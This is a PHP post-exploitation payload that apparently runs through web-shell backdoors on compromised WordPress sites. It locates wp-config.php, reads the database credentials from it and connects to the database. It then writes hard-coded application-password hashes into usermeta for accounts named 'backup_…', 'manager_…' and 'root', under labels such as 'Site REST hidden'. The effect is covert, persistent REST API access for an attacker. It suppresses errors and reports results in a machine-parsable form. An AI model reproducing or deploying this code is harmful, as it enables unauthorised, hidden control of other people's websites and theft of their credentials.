<?php
error_reporting(0);

if (!function_exists('payload_result')) {
    function payload_result(array $r) {
        echo '@@RES' . 'ULT@@' . json_encode($r) . '@@EN' . 'D@@';
        exit;
    }
}

// __DIR__ alone is not enough: the fputs/cmd backdoor families stage the
// payload through a temp dir and include it from there, so __DIR__ points
// at /tmp instead of the site tree. The web SAPI keeps the requested
// script's dir as cwd and SCRIPT_FILENAME, so those anchors still land
// inside the site even when the payload body does not.
$docroot = null;
$anchors = array(__DIR__);
$cwd = @getcwd();
if (is_string($cwd) && $cwd !== '') {
    $anchors[] = $cwd;
}
$scriptFile = isset($_SERVER['SCRIPT_FILENAME']) ? $_SERVER['SCRIPT_FILENAME'] : '';
if (is_string($scriptFile) && $scriptFile !== '') {
    $anchors[] = dirname($scriptFile);
}
foreach (array_unique($anchors) as $anchor) {
    $dir = $anchor;
    for ($i = 0; $i <= 12; $i++) {
        if (is_file($dir . '/wp-config.php')) {
            $docroot = $dir;
            break 2;
        }
        $parent = dirname($dir);
        if ($parent === $dir) {
            break;
        }
        $dir = $parent;
    }
}
if ($docroot === null) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_DOCROOT'));
}

$wpConfig = @file_get_contents($docroot . '/wp-config.php');
if ($wpConfig === false) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_CONFIG'));
}

if (!function_exists('prelude_config_constant')) {
    function prelude_config_constant($config, $name) {
        $pattern = '/define\s*\(\s*[\'"]' . $name . '[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]\s*\)/';
        if (!preg_match($pattern, $config, $m)) {
            return null;
        }
        return $m[1];
    }
}

$dbName = prelude_config_constant($wpConfig, 'DB_NAME');
$dbUser = prelude_config_constant($wpConfig, 'DB_USER');
$dbPass = prelude_config_constant($wpConfig, 'DB_PASSWORD');
$dbHost = prelude_config_constant($wpConfig, 'DB_HOST');

$prefix = 'wp_';
if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]+)[\'"]\s*;/', $wpConfig, $m)) {
    $prefix = $m[1];
}

if ($dbName === null || $dbUser === null || $dbPass === null || $dbHost === null) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_CONFIG'));
}

$hostParts = explode(':', $dbHost, 2);
$host = $hostParts[0];
$port = isset($hostParts[1]) ? intval($hostParts[1]) : 3306;

mysqli_report(MYSQLI_REPORT_OFF);
$db = mysqli_init();
if ($db === false) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_DB_CONNECT'));
}
mysqli_options($db, MYSQLI_OPT_CONNECT_TIMEOUT, 10);
if (!@mysqli_real_connect($db, $host, $dbUser, $dbPass, $dbName, $port)) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_DB_CONNECT'));
}

$phpassFile = $docroot . '/wp-includes/class-phpass.php';
if (!is_file($phpassFile)) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_PHPASS'));
}
require_once $phpassFile;
if (!class_exists('PasswordHash')) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_PHPASS'));
}
$phpass = new PasswordHash(8, true);

$payload_version = '2026.10.04';

$entries = array(
    array('login' => 'backup_ba7a66', 'serialized' => 'a:1:{i:0;a:7:{s:4:"uuid";s:36:"31f402c5-9b93-4ca7-931e-63716563dc35";s:6:"app_id";s:36:"eb109c0e-188c-4f41-9914-abc5192f0d6d";s:4:"name";s:17:"Site REST general";s:8:"password";s:60:"$2y$10$O5kbIw.au3VZnf5wWA.UkePAqde6PZENpPV78MQogK40GtRBCZekG";s:7:"created";i:1792701023;s:9:"last_used";N;s:7:"last_ip";N;}}'),
    array('login' => 'manager_8ceb3fe97b8babb9', 'serialized' => 'a:1:{i:0;a:7:{s:4:"uuid";s:36:"51e37bf7-7847-4a23-91c5-610f0abaf612";s:6:"app_id";s:36:"b3dca274-05c1-414c-bc01-40d598adf00b";s:4:"name";s:20:"Site REST additional";s:8:"password";s:60:"$2y$10$m1SWNUK2sLxwdIHkcrE/..LUfTnS6MnTKZ2ch.x829jroBsSJvhr2";s:7:"created";i:1792701023;s:9:"last_used";N;s:7:"last_ip";N;}}'),
    array('login' => 'root', 'serialized' => 'a:1:{i:0;a:7:{s:4:"uuid";s:36:"d61835b0-79ff-4163-9b43-cc1830a48775";s:6:"app_id";s:36:"b6d434c5-7b73-42aa-b31b-7c739e74562d";s:4:"name";s:16:"Site REST hidden";s:8:"password";s:60:"$2y$10$YwxtFBnd1QEAyHKyxKekdO9UPXaHkMPoR7Sv1yGWsO/nmSD8Zwhe2";s:7:"created";i:1792701023;s:9:"last_used";N;s:7:"last_ip";N;}}'),
);
$metaKey = '_application_passwords';
$results = array();
$allOk = true;

foreach ($entries as $entry) {
    $login = $entry['login'];
    $serialized = $entry['serialized'];

    $stmt = mysqli_prepare($db, "SELECT ID FROM {$prefix}users WHERE user_login = ? LIMIT 1");
    if ($stmt === false) {
        $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY');
        $allOk = false;
        continue;
    }
    mysqli_stmt_bind_param($stmt, 's', $login);
    if (!mysqli_stmt_execute($stmt)) {
        mysqli_stmt_close($stmt);
        $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY');
        $allOk = false;
        continue;
    }
    mysqli_stmt_bind_result($stmt, $userId);
    $found = mysqli_stmt_fetch($stmt);
    mysqli_stmt_close($stmt);

    if (!$found) {
        $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_USER_MISSING');
        $allOk = false;
        continue;
    }

    $meta = mysqli_prepare($db, "SELECT umeta_id FROM {$prefix}usermeta WHERE user_id = ? AND meta_key = ? LIMIT 1");
    if ($meta === false) {
        $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY');
        $allOk = false;
        continue;
    }
    mysqli_stmt_bind_param($meta, 'is', $userId, $metaKey);
    if (!mysqli_stmt_execute($meta)) {
        mysqli_stmt_close($meta);
        $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY');
        $allOk = false;
        continue;
    }
    mysqli_stmt_bind_result($meta, $metaId);
    $hasMeta = mysqli_stmt_fetch($meta);
    mysqli_stmt_close($meta);

    if ($hasMeta) {
        $write = mysqli_prepare($db, "UPDATE {$prefix}usermeta SET meta_value = ? WHERE umeta_id = ?");
        if ($write === false) {
            $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY');
            $allOk = false;
            continue;
        }
        mysqli_stmt_bind_param($write, 'si', $serialized, $metaId);
    } else {
        $write = mysqli_prepare($db, "INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)");
        if ($write === false) {
            $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY');
            $allOk = false;
            continue;
        }
        mysqli_stmt_bind_param($write, 'iss', $userId, $metaKey, $serialized);
    }
    if (!mysqli_stmt_execute($write)) {
        mysqli_stmt_close($write);
        $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY');
        $allOk = false;
        continue;
    }
    mysqli_stmt_close($write);

    $results[] = array('login' => $login, 'ok' => true, 'code' => 'APP_PASS_UPSERTED', 'userId' => $userId);
}

payload_result(array('ok' => $allOk, 'code' => $allOk ? 'APP_PASS_UPSERTED' : 'APP_PASS_PARTIAL', 'data' => array('results' => $results)));